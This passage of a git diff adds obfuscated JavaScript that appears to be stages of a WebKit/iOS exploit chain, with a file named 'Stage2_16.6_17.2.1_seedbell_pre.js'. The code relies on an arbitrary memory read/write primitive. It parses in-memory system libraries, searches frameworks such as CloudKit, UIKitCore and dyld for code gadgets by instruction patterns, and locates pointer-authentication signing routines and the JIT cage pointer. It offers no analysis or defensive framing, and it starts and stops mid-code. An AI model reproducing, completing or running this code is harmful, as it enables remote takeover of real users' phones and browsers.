6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => { + return String.fromCharCode(x ^ 103); + }).join("")).platformState.versionFlags.OaAnPR)), + c = s.read64(h + j(globalThis.moduleManager.getModuleByName([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map((x) => { + return String.fromCharCode(x ^ 79); + }).join("")).platformState.versionFlags.PCsIV0)), + r = s.read64(b + j(globalThis.moduleManager.getModuleByName([102, 99, 97, 97, 110, 52, 54, 100, 53, 102, 98, 102, 110, 53, 54, 101, 54, 111, 49, 99, 103, 53, 50, 101, 111, 96, 49, 97, 99, 97, 51, 99, 51, 96, 98, 110, 100, 50, 53, 103].map((x) => { + return String.fromCharCode(x ^ 87); + }).join("")).platformState.versionFlags.oHmyQl)); + { + const t = s.read32(c + j(globalThis.moduleManager.getModuleByName([91, 94, 92, 92, 83, 9, 11, 89, 8, 91, 95, 91, 83, 8, 11, 88, 11, 82, 12, 94, 90, 8, 15, 88, 82, 93, 12, 92, 94, 92, 14, 94, 14, 93, 95, 83, 89, 15, 8, 90].map((x) => { + return String.fromCharCode(x ^ 106); + }).join("")).platformState.versionFlags.vnu2oq)), + a = s.read32(c + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("")).platformState.versionFlags.attyap)), + i = 2 * (globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.DjRSp0 + s.read32(c + j(a))), + r = globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.LVt9Wy + i * t; + if (r % 4 != 0) throw new Error("r % 4 != 0"); + const [f, d] = s.allocZeroBufferPair(i); + for (let t = 0; t < r; t += 4) s.write32(d + j(t), s.read32(c + j(t))); + const u = 2, + _ = 4; + s.write32(d + j(globalThis.moduleManager.getModuleByName([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map((x) => { + return String.fromCharCode(x ^ 108); + }).join("")).platformState.versionFlags.pUvASJ), _ | u); + for (let i = 0; i < t; i++) { + const t = d + j(globalThis.moduleManager.getModuleByName([71, 66, 64, 64, 79, 21, 23, 69, 20, 71, 67, 71, 79, 20, 23, 68, 23, 78, 16, 66, 70, 20, 19, 68, 78, 65, 16, 64, 66, 64, 18, 66, 18, 65, 67, 79, 69, 19, 20, 70].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).platformState.versionFlags.sMuYjH + a * i); + s.write32(t, 2); + for (let i = 0; i < a; i++) s.patchByte(t + j(globalThis.moduleManager.getModuleByName([89, 92, 94, 94, 81, 11, 9, 91, 10, 89, 93, 89, 81, 10, 9, 90, 9, 80, 14, 92, 88, 10, 13, 90, 80, 95, 14, 94, 92, 94, 12, 92, 12, 95, 93, 81, 91, 13, 10, 88].map((x) => { + return String.fromCharCode(x ^ 104); + }).join("")).platformState.versionFlags.KSrWFg + i), 0); + } + const [T, g] = s.allocZeroBufferPair(963658290 ^ 963658482); + s.write32(d + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map((x) => { + return String.fromCharCode(x ^ 103); + }).join("")).platformState.versionFlags.FGsnBi), 48); + { + const t = n + j(globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => { + return String.fromCharCode(x ^ 95); + }).join("")).platformState.versionFlags.msD22k); + for (let a = 0; a < (2037665391 ^ 2037665519); a++) s.write32(t + j(4 * a), 1985627949 ^ 1985628045); + } + s.write64(h + j(globalThis.moduleManager.getModuleByName([114, 119, 117, 117, 122, 32, 34, 112, 33, 114, 118, 114, 122, 33, 34, 113, 34, 123, 37, 119, 115, 33, 38, 113, 123, 116, 37, 117, 119, 117, 39, 119, 39, 116, 118, 122, 112, 38, 33, 115].map((x) => { + return String.fromCharCode(x ^ 67); + }).join("")).platformState.versionFlags.PCsIV0), d), s.write64(b + j(globalThis.moduleManager.getModuleByName([3, 6, 4, 4, 11, 81, 83, 1, 80, 3, 7, 3, 11, 80, 83, 0, 83, 10, 84, 6, 2, 80, 87, 0, 10, 5, 84, 4, 6, 4, 86, 6, 86, 5, 7, 11, 1, 87, 80, 2].map((x) => { + return String.fromCharCode(x ^ 50); + }).join("")).platformState.versionFlags.oHmyQl), g), s.write32(l + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.LM9blg), 4294967296 + (1381263994 ^ -1381263995)), s.write32(e + j(globalThis.moduleManager.getModuleByName([84, 81, 83, 83, 92, 6, 4, 86, 7, 84, 80, 84, 92, 7, 4, 87, 4, 93, 3, 81, 85, 7, 0, 87, 93, 82, 3, 83, 81, 83, 1, 81, 1, 82, 80, 92, 86, 0, 7, 85].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")).platformState.versionFlags.TLJcwX), 964121976 ^ 964122072); + for (let t = 0; t < globalThis.moduleManager.getModuleByName([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map((x) => { + return String.fromCharCode(x ^ 95); + }).join("")).platformState.versionFlags.NfRtuR; t += 4) s.write32(this.Cd + j(t), s.read32(o) + t); + } + s.write64(e + j(globalThis.moduleManager.getModuleByName([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map((x) => { + return String.fromCharCode(x ^ 80); + }).join("")).platformState.versionFlags.OaAnPR), this.Cd); + try { + s.write64(this.Cd + j(globalThis.moduleManager.getModuleByName([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("")).platformState.versionFlags.qRQJn0), t), s.write64(e + j(globalThis.moduleManager.getModuleByName([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map((x) => { + return String.fromCharCode(x ^ 119); + }).join("")).platformState.versionFlags.SAobkS), a), i.next().value; + } finally { + s.write64(e + j(globalThis.moduleManager.getModuleByName([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("")).platformState.versionFlags.OaAnPR), o), s.write64(b + j(globalThis.moduleManager.getModuleByName([82, 87, 85, 85, 90, 0, 2, 80, 1, 82, 86, 82, 90, 1, 2, 81, 2, 91, 5, 87, 83, 1, 6, 81, 91, 84, 5, 85, 87, 85, 7, 87, 7, 84, 86, 90, 80, 6, 1, 83].map((x) => { + return String.fromCharCode(x ^ 99); + }).join("")).platformState.versionFlags.oHmyQl), r); + } + } +} +class _t { + constructor() { + P.platformState.Dn; + const t = P.platformState.exploitPrimitive; + this.ob = new Tt(), this.hb = { + cb: this.ob.rb([29, 8, 9, 45, 4, 22, 13, 54, 6, 4, 11, 35, 16, 9, 9].map((x) => { + return String.fromCharCode(x ^ 101); + }).join("")) + }, this.ub = t.allocZeroBuffer(32), this._b = t.allocZeroBuffer(48), this.gb = new dt(); + } + call(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive; + if (0x0n === t.sb) throw new Error("0x0n === t.sb"); + const s = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1]]], + + [this._b, [ + [0, 0], + [8, t.x2], + [16, t.ib], + [24, t.bb], + [32, t.sb], + [40, 1]]]]; + + + for (const [t, i] of s) + for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b)); + return this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: t.ab, + x2: t.x1 + }); + } +} +class Tt { + constructor() { + const t = P.platformState.Dn; + P.platformState.exploitPrimitive; + this.hb = { + ba: t.nl.ba + }, this.gb = new dt(); + } + rb(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive, + [s, i] = a.allocCString(t); + return this.gb.call({ + ab: this.hb.ba, + sb: i, + x1: 0x0n, + x2: 0x0n + }); + } +} +return r; \ No newline at end of file diff --git a/Stage2_16.6_17.2.1_seedbell_pre.js b/Stage2_16.6_17.2.1_seedbell_pre.js new file mode 100644 index 0000000..c98870e --- /dev/null +++ b/Stage2_16.6_17.2.1_seedbell_pre.js @@ -0,0 +1,640 @@ +let r = {}; +globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +const P = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); +class nt { + constructor(r, n) { + this.Qo = r, this.images = n, this.rl = new or(), this.nl = new er(); + } + tl(...r) { + for (const n of r) + for (const r of this.images) + if (-1 !== r.path.indexOf(n)) return null === r.ol && (r.ol = rr.el(r.ll)), r.ol; + throw new Error("-1 === r.path.indexOf(n)"); + } + static il(r) { + const n = P.platformState.exploitPrimitive, + t = rr.il(r), + o = (() => { + const r = t.sl("__TEXT"); + if (null === r) throw new Error("null === r"); + return { + Qo: t.al - r.cl, + fl: t.al - r._l + }; + })(), + e = n.read32(o.fl + 0x1c0n), + l = n.read32(o.fl + 0x1c4n), + i = [], + s = o.fl + j(e); + for (let r = 0; r < l; r++) { + const e = S(n.read64(s + j(32 * r))) + o.Qo, + l = n.read32(s + j(32 * r) + 0x18n), + a = n.readString(o.fl + j(l), 1024); + i.push({ + path: a, + ll: e, + ol: t.al === e ? t : null + }); + } + return new nt(o.Qo, i); + } +} +r.ul = async function () { + const r = P.platformState.exploitPrimitive, + n = new Intl.DateTimeFormat(), + t = r.getObjectAddress(n), + o = r.read64(t + 0x18n), + e = S(r.read64(o)), + l = S(r.read64(e)), + i = nt.il(l); + P.platformState.Dn = i; +}; +class rr { + static il(r) { + const n = P.platformState.exploitPrimitive; + let t = r - r % 0x1000n; + for (; + 4277009103 !== n.read32(t);) t -= 0x1000n; + return rr.el(t); + } + static el(r) { + const n = P.platformState.exploitPrimitive, + t = n.read32(r + j(16)), + o = []; + let e = null, + l = null, + i = 32; + for (let s = 0; s < t; s += 1) { + const t = n.read32(r + j(i)), + s = n.read32(r + j(i) + j(4)); + switch (t) { + case 25:{ + const t = Object.create({ + Xe: n.readString(r + j(i) + j(8), 16), + cl: n.read64(r + j(i) + j(24)), + ml: n.read64(r + j(i) + j(32)), + _l: n.read64(r + j(i) + j(40)), + dl: n.read64(r + j(i) + j(48)), + hl: n.read32(r + j(i) + j(56)), + wl: n.read32(r + j(i) + j(60)), + flags: n.read32(r + j(i) + j(68)), + bl: void 0, + yl: (() => { + const t = n.read32(r + j(i) + j(64)), + o = new Array(t).fill(null); + for (const t in o) o[t] = { + name: n.readString(r + j(80 * t) + j(i + 72), 16), + cl: n.read64(r + j(80 * t) + j(i + 72) + 0x20n), + ml: n.read64(r + j(80 * t) + j(i + 72) + 0x28n), + _l: n.read64(r + j(80 * t) + j(i + 72) + 0x30n), + bl: void 0 + }; + return o; + })(), + xl(r) { + for (const n of this.yl) + if (n.name === r) return n; + return null; + } + }); + if ("__TEXT" === t.Xe) { + if (null !== l) throw new Error("null !== l"); + l = r - t.cl; + } + o.push(t); + break; + } + case 2147483682: + case 2147483699: + if (null !== e) throw new Error("null !== e"); + e = { + me: n.read32(r + j(i) + j(2147483682 === t ? 40 : 8)), + size: n.read32(r + j(i) + j(2147483682 === t ? 44 : 12)) + }; + } + i += s; + } + const s = {}, + a = []; + if (null === l) throw new Error("null === l"); + for (const r of o) { + r.bl = r.cl + l; + for (const n of r.yl) n.bl = r.cl + l; + r.Xe.length > 0 ? s[r.Xe] = r : a.push(r); + } + return new readInt64FromOffset(r, s, a, e); + } + constructor(r, n, t, o) { + const e = P.platformState.exploitPrimitive; + this.al = r, this.Al = n, this.Sl = t, this.Cl = (() => { + if (null === o) return null; + const r = n.__LINKEDIT; + if (void 0 === r) return null; + const t = r.bl + j(o.me) - r._l, + l = new Uint32Array(o.size + 3 >> 2); + for (let r = 0; r < l.length; r++) l[r] = e.read32(t + j(4 * r)); + return new readRawBigInt(l.buffer); + })(); + } + sl(r) { + const n = this.Al[r]; + return void 0 !== n ? n : null; + } + kl(r) { + if (null !== this.Cl) { + const n = this.Cl.Nn(r); + return null !== n ? this.al + j(n) : null; + } + throw new Error("null === this.Cl"); + } +} +class nr { + Nn(r) { + const n = new addrof(this.Tl); + let t = "", + o = !1; + for (; !o;) { + o = !0; + const e = n.El(); + if (0 !== e && r === t) { + const r = n.El(); + if (8 !== r && 16 !== r) { + return n.El(); + } + } + n.pl(e); + const l = n.gl(); + for (let e = 0; e < l; e += 1) { + const e = n.Il(0, 4132), + l = n.El(); + if (e.length > 0 && r.startsWith(t + e)) { + t += e, n.ue(l), o = !1; + break; + } + } + } + return null; + } + constructor(r) { + this.Tl = r; + } +} +class tr { + constructor(r) { + this.Fl = new Uint8Array(r), this.en = new DataView(r), this.Pl = 0; + } + pl(r) { + this.Pl += r; + } + ue(r) { + this.Pl = r; + } + gl() { + const r = this.Fl[this.Pl]; + return this.Pl += 1, r; + } + Il(r, n = 256) { + let t = ""; + for (let o = 0; o < n; o++) { + const n = this.gl(); + if (n === r) return t; + t += String.fromCharCode(n); + } + throw new Error("n === r not found"); + } + El() { + let r = 0, + n = 0; + for (let t = 0; t < (128); t += 1) { + const t = this.gl(); + if (r += (0x7f & t) << n, n += 7, 0 == (0x80 & t)) return r; + } + throw new Error("r += (0x7f & t) << n, n += 7, 0 == (0x80 & t) not found"); + } +} +class or { + constructor() {} + Ul(r) { + const n = P.platformState.exploitPrimitive, + t = r.vl.kl(r.Dl); + if (null !== t) + for (const o of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const e = r.Ll.sl(o); + if (null !== e) + for (let r = 0x0n; r < e.ml; r += 0x8n) { + const o = n.read64(e.bl + r); + if (S(o) === t) return o; + } + } + return null; + } + Bl(r) { + const n = P.platformState.exploitPrimitive, + t = r.ol.sl("__TEXT"); + if (null === t) return null; + const o = r.Ol; + for (const e of ["__AUTH", "__AUTH_CONST", "__DATA", "__DATA_DIRTY"]) { + const l = r.ol.sl(e); + if (null !== l) + for (let r = 0x0n; r < l.ml; r += 0x8n) { + const e = n.read64(l.bl + r), + i = S(e); + if (t.bl <= i && i <= t.bl + t.ml && this.Nl(i, o)) return e; + } + } + return null; + } + Kl(r, n, t = null) { + P.platformState.exploitPrimitive; + const o = r.sl("__TEXT"); + if (null === o) return null; + const e = o.bl; + let l = null !== t ? t - o.bl : 0x0n; + for (; l < o.ml;) { + const r = e + l; + if (this.Nl(r, n, !1)) return r; + l += 0x4n; + } + return null; + } + zl(r, n = 64) { + const t = P.platformState.exploitPrimitive, + o = r, + e = []; + let l = 0x0n; + for (; l < j(n);) { + const r = o + l, + n = t.read32(r); + if (0x14000000n === (0xfc000000n & j(n)) || 0x94000000n === (0xfc000000n & j(n))) { + const t = 4 * this.Hl(n); + e.push(r + j(t)); + } + l += 0x4n; + } + return e; + } + Rl(r, n, t = 64) { + P.platformState.exploitPrimitive; + const o = r; + let e = 0x0n; + for (; e < j(t);) { + const r = o + e; + if (this.Nl(r, n, !1)) return r; + e += 0x4n; + } + return null; + } + Hl(r) { + return r << 6 >> 6; + } + Nl(r, n, t = !0) { + const o = P.platformState.exploitPrimitive; + let e = 0; + const l = []; + for (const r of n) 0x90000000n === (0x9f000000n & j(r)) ? (l.push(0x9f00001fn), e += 1) : e > 0 && 0xf9400000n === (0xffc00000n & j(r)) ? l.push(0xffc003ffn) : 0x14000000n === (0xfc000000n & j(r)) || 0x94000000n === (0xfc000000n & j(r)) ? l.push(0xfc000000n) : l.push(0xffffffffn); + l.length !== n.length && W(); + let i = r; + for (const r in n) { + const e = o.read32(i); + if ((j(n[r]) & j(l[r])) != (j(e) & j(l[r]))) return !1; + if (!0 === t && 0x14000000n === (0xfc000000n & j(e))) { + const r = 4 * this.Hl(e); + i += j(r); + } else i += 0x4n; + } + return !0; + } + Ml(r, n = 768, t = null) { + const o = P.platformState.exploitPrimitive, + e = [], + l = new Array(32).fill(null); + let i = !1; + for (let s = 0; s < n; s += 4) { + const n = r + j(s), + a = j(o.read32(n)); + if (null !== t && a === t) { + i = !0; + break; + } + if (0xd65f0fffn === a || 0xd65f03c0n === a) { + i = !0; + break; + } + if (0x90000000n === (0x9f000000n & a)) { + const r = a << 8n >> 13n, + t = a >> 29n & 3n, + o = 0x1fn & a, + e = BigInt.asIntN(32, (r << 2n | t) << 12n); + l[o] = n - n % 0x1000n + e; + } else if (0xf9400000n === (0xffc00000n & a)) { + const r = a >> 5n & 0x1fn, + n = a >> 10n & 0xfffn, + t = l[r]; + null !== t && (e.push(t + 0x8n * n), l[r] = null); + } + } + if (!i) throw new Error("!i"); + return e; + } + Jl(r, n, t) { + P.platformState.Dn; + const o = P.platformState.exploitPrimitive, + e = n.sl("__DATA_CONST"); + if (null === e) throw new Error("null === e"); + let l = r; + const i = o.read32(r); + if (0x14000000n !== (0xfc000000n & j(i))) return !1; + const s = 4 * this.Hl(i); + l += j(s); + try { + const r = this.Ml(l, 768, 0xd4200020n); + if (2 != r.length) return !1; + const n = r[0]; + if (!(e.bl < n && n < e.bl + e.ml)) return !1; + const i = o.read64(n); + return o.readString(i, t.length + 48) === t; + } catch (r) { + return !1; + } + } + Gl(r, n, t) { + const o = P.platformState.Dn, + e = P.platformState.exploitPrimitive, + l = o.tl(r), + i = o.tl(n), + s = i.sl("__TEXT"); + for (const r of ["__AUTH_CONST", "__DATA_CONST", "__AUTH"]) { + const n = l.sl(r); + if (null !== n) + for (let r = 0x0n; r < n.ml; r += 0x8n) { + const o = e.read64(n.bl + r), + l = S(o); + if (s.bl <= l && l <= s.bl + s.ml && l % 0x4n === 0x0n && this.Jl(l, i, t)) return o; + } + } + throw new Error("Gl(r, n, t) failed"); + } +} +class er { + constructor() { + return this.jl = er.Xl(), this.Vl = {}, new Proxy(this, { + get: (r, n) => (n in this.Vl || (this.Vl[n] = this.jl[n]()), this.Vl[n]) + }); + } + static Xl() { + return { + Zl() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Ul({ + Dl: "_xmlSAX2GetPublicId", + vl: r.tl("libxml2.2.dylib"), + Ll: r.tl("libxml2.2.dylib") + }); + }, + ql() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "enet_allocate_packet_payload_default", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 2953777224, 4181814536, 2852193248, 3594455327, 2852127732, 3036676224, 2953777224, 4181816584, 3594455327, 4177529460, 2839641085, 2831306740, 3596554239], + ol: r.tl("/System/Library/PrivateFrameworks/RESync.framework/RESync", "/System/Library/PrivateFrameworks/RESync.framework/Versions/A/RESync") + }); + }, + Yl() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560)); + if (2 !== n.length) throw new Error("2 !== n.length"); + return n[0]; + }, + Wl() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.rl.Ml(S(r.nl.ql), 560)); + if (2 !== n.length) throw new Error("2 !== n.length"); + return n[1]; + }, + $l() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_HTTPConnectionFinalize", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 4181729288, 3019899016, 4181726817, 2853372896, 3594455327], + ol: r.tl("/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils") + }); + }, + Ql() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_autohinter_iterator_begin", + Ol: [3019899074, 4181723203, 3019899011, 4181722176, 4181727298, 3592358015, 3596551104], + ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics") + }); + }, + ra() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_autohinter_iterator_end", + Ol: [3019899073, 4181725218, 3019899010, 4181722144, 4181727265, 3592357983, 3596551104], + ol: r.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics") + }); + }, + na() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.tl("libxml2.2.dylib").kl("_xmlHashScanFull"); + }, + ta() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Kl(r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), [3573752703, 2847694840, 2835437558, 2835501044, 2835577853, 2432746493, 2852324339, 2852258804, 2852127733, 1384120855, 1384120832, 1386079969, 1923956161, 2500362746, 2852127734, 2853503968, 2853569506, 2483610898, 4177527447, 2955245744, 4182113808, 3670090736, 4177527408, 2853569504, 2839772157, 2839695348, 2839631862, 2831441912, 3596554239]); + }, + oa() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.nl.ta), + t = r.rl.Ml(S(n), 116); + if (1 !== t.length) throw new Error("1 !== t.length"); + return t[0]; + }, + ea() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "cksqlcs_blobBindingValue:destructor:error:", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length) === i) return t; + } + throw new Error("ea() failed"); + }, + la() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/Frameworks/CloudKit.framework/CloudKit"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "UUID", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return t; + } + throw new Error("la() failed"); + }, + ia() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + t = r.tl("/usr/lib/libobjc.A.dylib"), + o = r.tl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore"), + e = t.sl("__OBJC_RO"); + if (null === e) throw new Error("null === e"); + const l = o.sl("__DATA_CONST"); + if (null === l) throw new Error("null === l"); + const i = "secondAttribute", + s = l.bl + l.ml; + for (let r = l.bl; r < s; r += 0x8n) { + const t = n.read64(r); + if (t >= e.bl && t < e.bl + e.ml && n.readString(t, i.length + 48) === i) return r; + } + throw new Error("ia() failed"); + }, + sa() { + P.platformState.Dn, P.platformState.exploitPrimitive; + return P.platformState.Dn.rl.Gl("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", "secondAttribute"); + }, + aa() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.tl("/System/Library/Frameworks/Foundation.framework/Foundation").kl("_OBJC_CLASS_$_NSUUID")); + if (null === n) throw new Error("null === n"); + return n; + }, + ca() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_EdgeInfoCFArrayReleaseCallBack", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852193267, 2852127732, 4181722153, 4181723432, 3019899016, 4181721376, 4181721697, 3594455327, 2853438432, 2853372897, 2839641085, 2831306740, 3573752831, 3390965712, 3069182032, 3560476192, 335894792], + ol: r.tl("/System/Library/Frameworks/CoreMedia.framework/CoreMedia") + }); + }, + fa() { + const r = P.platformState.Dn, + n = P.platformState.exploitPrimitive, + [t, o] = (() => { + const t = r.tl("libdyld.dylib").sl("__DATA_DIRTY"); + if (null === t) return null; + const o = t.xl("__dyld4"); + if (null === o) return null; + const e = n.read64(o.bl + 8n), + l = n.read64(S(e)), + i = n.read64(S(l)); + return [e, rr.il(S(i))]; + })(); + if (null === o) throw new Error("null === o"); + return o; + }, + _a() { + const r = P.platformState.Dn, + n = (P.platformState.exploitPrimitive, r.nl.fa), + t = (() => { + const t = [null], + o = [3573752703, 2847898621, 2432697341, 4181721097, 3069706633, 3547382056, 3546332451, 3547449636, 2852258784, 2852652002, 2831252477, 3573752831, 3390965712, 3069182032, 3560476192]; + let e; + for (e = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104]; t.length > 0;) { + const l = r.rl.Kl(n, o, t.pop()); + if (null === l) continue; + t.push(l + 0x4n); + const i = r.rl.zl(l, 4 * o.length + 12); + for (const r in i) + if (2 !== i.length) continue; + if (null !== r.rl.Rl(i[0], e, 256)) return l; + } + return null; + })(); + if (null === t) throw new Error("null === t"); + const { + ua: o, + ma: e + } = (() => { + let o, e; + e = 0x10n, o = [2852127729, 2852652016, 3573752095, 335544332, 2852127729, 2852652016, 3670084113, 335544328, 2852127729, 2852652016, 3573752159, 335544324, 2852127729, 2852652016, 3670085137, 2853241824, 3596551104]; + let l = null; + for (;;) { + if (i = l, l = r.rl.Kl(n, o, i), null === l) return null; + if (l !== t) break; + l += j(0x4n * o.length); + } + var i; + if (null === l) return null; + return { + ua: l - 0x40n, + ma: { + pacda: l, + autia: l + 1n * e, + pacia: l + 2n * e, + autda: l + 3n * e + } + }; + })(); + if (null === o) throw new Error("null === o"); + if (null === e.pacda) throw new Error("null === e.pacda"); + if (null === e.ha) throw new Error("null === e.ha"); + if (null === e.pacia) throw new Error("null === e.pacia"); + if (null === e.autda) throw new Error("null === e.autda"); + return o; + }, + ba() { + const r = P.platformState.Dn; + P.platformState.exploitPrimitive; + return r.rl.Bl({ + Dl: "_dlfcn_globallookup", + Ol: [3573752703, 2847821812, 2835446781, 2432713725, 2852127731, 3531603968, 1384120353, 2483792040, 3019899136, 2852127732, 2853372897, 2487440593, 2852127731, 2853438432, 2483792025, 2853372896, 2839641085, 2831306740, 3596554239], + ol: r.tl("/System/Library/PrivateFrameworks/ActionKit.framework/ActionKit") + }); + }, + ya() { + const r = P.platformState.Dn.tl("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"); + if (null === r) throw new Error("null === r"); + return r; + }, + xa: () => P.platformState.Dn.nl.ya.kl("_jitCagePtr"), + Aa() { + const r = P.platformState.exploitPrimitive, + n = P.platformState.Dn.tl("/usr/lib/libxml2.2.dylib").kl("_xmlMalloc"); + return r.read64(n); + }, + Sa: () => P.platformState.Dn.nl.ya.kl("__ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE"), + Ca: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memset"), + ka: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_platform.dylib").kl("__platform_memmove"), + Ta: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_malloc"), + 